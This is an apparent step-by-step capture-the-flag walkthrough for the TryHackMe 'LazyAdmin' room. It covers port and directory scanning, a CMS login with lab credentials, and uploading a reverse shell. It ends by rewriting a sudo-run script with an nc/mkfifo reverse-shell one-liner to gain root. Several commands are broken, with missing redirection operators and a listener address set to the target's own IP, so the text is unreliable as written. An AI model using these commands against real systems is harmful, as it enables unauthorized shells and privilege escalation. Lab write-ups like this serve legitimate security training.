Room Link : https://tryhackme.com/r/room/lazyadmin STEP1 nmap 10.10.87.228 FINDING PORT STATE SERVICE 22/tcp open ssh 80/tcp open http -------------------------------------------------------------------------------------------------- STEP2 dirb http://10.10.87.228 FINDING == DIRECTORY: http://10.10.87.228/content/as/ == DIRECTORY: http://10.10.87.228/content/attachment/ -------------------------------------------------------------------------------------------------- STEP3 login in http://10.10.87.228/content/as/ manager password123 -------------------------------------------------------------------------------------------------- STEP4 visit : http://10.10.87.228/content/as/?type=media_center upload a reverse shell -- start the lister and http://10.10.87.228/content/attachment/ -- get the file and click to get tthe reverse shell -------------------------------------------------------------------------------------------------- STEP5 sudo -l FINDING (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl -------------------------------------------------------------------------------------------------- STEP6 cat /home/itguy/backup.pl FINDING #!/usr/bin/perl system("sh", "/etc/copy.sh"); -------------------------------------------------------------------------------------------------- STEP7 cat /etc/copy.sh FINDING rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc 192.0.0.0 5554 /tmp/f -------------------------------------------------------------------------------------------------- STEP8 cd /etc echo rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc 10.10.87.228 5554 /tmp/f copy.sh open nc -nvlp 5554 -- on new terminal -------------------------------------------------------------------------------------------------- STEP9 sudo /usr/bin/perl /home/itguy/backup.pl on new terminal you will get root shell -------------------------------------------------------------------------------------------------- whoami root cd /root cat root.txt --------------------------------------------------------------------------------------------------